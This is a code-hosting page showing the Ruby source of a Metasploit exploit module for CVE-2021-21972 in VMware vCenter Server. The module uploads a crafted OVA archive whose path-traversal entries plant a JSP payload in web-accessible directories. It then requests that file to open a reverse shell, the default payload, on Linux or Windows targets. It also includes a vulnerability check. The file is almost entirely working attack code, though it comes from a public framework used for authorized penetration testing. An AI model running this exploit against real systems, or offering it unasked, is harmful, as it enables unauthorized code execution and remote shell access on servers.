PageRenderTime 44ms CodeModel.GetById 13ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/multi/http/vmware_vcenter_uploadova_rce.rb

https://github.com/rapid7/metasploit-framework
Ruby | 236 lines | 225 code | 6 blank | 5 comment | 0 complexity | 1c1726427ac4a828d4b2f7945243f5fb MD5 | raw file
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. # "Shotgun" approach to writing JSP
  7. Rank = ManualRanking
  8. prepend Msf::Exploit::Remote::AutoCheck
  9. include Msf::Exploit::Remote::CheckModule
  10. include Msf::Exploit::Remote::HttpClient
  11. include Msf::Exploit::FileDropper
  12. def initialize(info = {})
  13. super(
  14. update_info(
  15. info,
  16. 'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE',
  17. 'Description' => %q{
  18. This module exploits an unauthenticated OVA file upload and path
  19. traversal in VMware vCenter Server to write a JSP payload to a
  20. web-accessible directory.
  21. Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.
  22. Note that later vulnerable versions of the Linux appliance aren't
  23. exploitable via the webshell technique. Furthermore, writing an SSH
  24. public key to /home/vsphere-ui/.ssh/authorized_keys works, but the
  25. user's non-existent password expires 90 days after install, rendering
  26. the technique nearly useless against production environments.
  27. You'll have the best luck targeting older versions of the Linux
  28. appliance. The Windows target should work ubiquitously.
  29. },
  30. 'Author' => [
  31. 'Mikhail Klyuchnikov', # Discovery
  32. 'wvu', # Analysis and exploit
  33. 'mr_me', # Testing
  34. 'Viss' # Testing
  35. ],
  36. 'References' => [
  37. ['CVE', '2021-21972'],
  38. ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'],
  39. ['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'],
  40. ['URL', 'https://twitter.com/jas502n/status/1364810720261496843'],
  41. ['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'],
  42. ['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'],
  43. ['URL', 'https://kb.vmware.com/s/article/2143838'],
  44. ['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html']
  45. ],
  46. 'DisclosureDate' => '2021-02-23', # Vendor advisory
  47. 'License' => MSF_LICENSE,
  48. 'Platform' => ['linux', 'win'],
  49. 'Arch' => ARCH_JAVA,
  50. 'Privileged' => false, # true on Windows
  51. 'Targets' => [
  52. [
  53. # TODO: /home/vsphere-ui/.ssh/authorized_keys
  54. 'VMware vCenter Server <= 6.7 Update 1b (Linux)',
  55. {
  56. 'Platform' => 'linux'
  57. }
  58. ],
  59. [
  60. 'VMware vCenter Server <= 6.7 Update 3j (Windows)',
  61. {
  62. 'Platform' => 'win'
  63. }
  64. ]
  65. ],
  66. 'DefaultTarget' => 0,
  67. 'DefaultOptions' => {
  68. 'SSL' => true,
  69. 'PAYLOAD' => 'java/jsp_shell_reverse_tcp',
  70. 'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint'
  71. },
  72. 'Notes' => {
  73. 'Stability' => [CRASH_SAFE],
  74. 'Reliability' => [REPEATABLE_SESSION],
  75. 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
  76. 'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint']
  77. }
  78. )
  79. )
  80. register_options([
  81. Opt::RPORT(443),
  82. OptString.new('TARGETURI', [true, 'Base path', '/'])
  83. ])
  84. register_advanced_options([
  85. # /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index>
  86. OptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me
  87. OptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu
  88. ])
  89. end
  90. def spray_and_pray_min
  91. datastore['SprayAndPrayMin']
  92. end
  93. def spray_and_pray_max
  94. datastore['SprayAndPrayMax']
  95. end
  96. def spray_and_pray_range
  97. (spray_and_pray_min..spray_and_pray_max).to_a
  98. end
  99. def check
  100. # Run auxiliary/scanner/vmware/esx_fingerprint
  101. super
  102. res = send_request_cgi(
  103. 'method' => 'GET',
  104. 'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus')
  105. )
  106. unless res
  107. return CheckCode::Unknown('Target did not respond to check.')
  108. end
  109. case res.code
  110. when 200
  111. # {"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
  112. expected_keys = [
  113. 'States',
  114. 'Install Progress',
  115. 'Install Final Progress',
  116. 'Config Progress',
  117. 'Config Final Progress'
  118. ]
  119. if (expected_keys & res.get_json_document.keys) == expected_keys
  120. return CheckCode::Vulnerable('Unauthenticated endpoint access granted.')
  121. end
  122. CheckCode::Detected('Target did not respond with expected keys.')
  123. when 401
  124. CheckCode::Safe('Unauthenticated endpoint access denied.')
  125. else
  126. CheckCode::Detected("Target responded with code #{res.code}.")
  127. end
  128. end
  129. def exploit
  130. upload_ova
  131. pop_thy_shell # ;)
  132. end
  133. def upload_ova
  134. print_status("Uploading OVA file: #{ova_filename}")
  135. multipart_form = Rex::MIME::Message.new
  136. multipart_form.add_part(
  137. generate_ova,
  138. 'application/x-tar', # OVA is tar
  139. 'binary',
  140. %(form-data; name="uploadFile"; filename="#{ova_filename}")
  141. )
  142. res = send_request_cgi(
  143. 'method' => 'POST',
  144. 'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'),
  145. 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
  146. 'data' => multipart_form.to_s
  147. )
  148. unless res && res.code == 200 && res.body == 'SUCCESS'
  149. fail_with(Failure::NotVulnerable, 'Failed to upload OVA file')
  150. end
  151. register_files_for_cleanup(*jsp_paths)
  152. print_good('Successfully uploaded OVA file')
  153. end
  154. def pop_thy_shell
  155. jsp_uri =
  156. case target['Platform']
  157. when 'linux'
  158. normalize_uri(target_uri.path, "/ui/resources/#{jsp_filename}")
  159. when 'win'
  160. normalize_uri(target_uri.path, "/statsreport/#{jsp_filename}")
  161. end
  162. print_status("Requesting JSP payload: #{full_uri(jsp_uri)}")
  163. res = send_request_cgi(
  164. 'method' => 'GET',
  165. 'uri' => jsp_uri
  166. )
  167. unless res && res.code == 200
  168. fail_with(Failure::PayloadFailed, 'Failed to request JSP payload')
  169. end
  170. print_good('Successfully requested JSP payload')
  171. end
  172. def generate_ova
  173. ova_file = StringIO.new
  174. # HACK: Spray JSP in the OVA and pray we get a shell...
  175. Rex::Tar::Writer.new(ova_file) do |tar|
  176. jsp_paths.each do |path|
  177. # /tmp/unicorn_ova_dir/../../<path>
  178. tar.add_file("../..#{path}", 0o644) { |jsp| jsp.write(payload.encoded) }
  179. end
  180. end
  181. ova_file.string
  182. end
  183. def jsp_paths
  184. case target['Platform']
  185. when 'linux'
  186. @jsp_paths ||= spray_and_pray_range.shuffle.map do |idx|
  187. "/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}"
  188. end
  189. when 'win'
  190. # Forward slashes work here
  191. ["/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}"]
  192. end
  193. end
  194. def ova_filename
  195. @ova_filename ||= "#{rand_text_alphanumeric(8..42)}.ova"
  196. end
  197. def jsp_filename
  198. @jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
  199. end
  200. end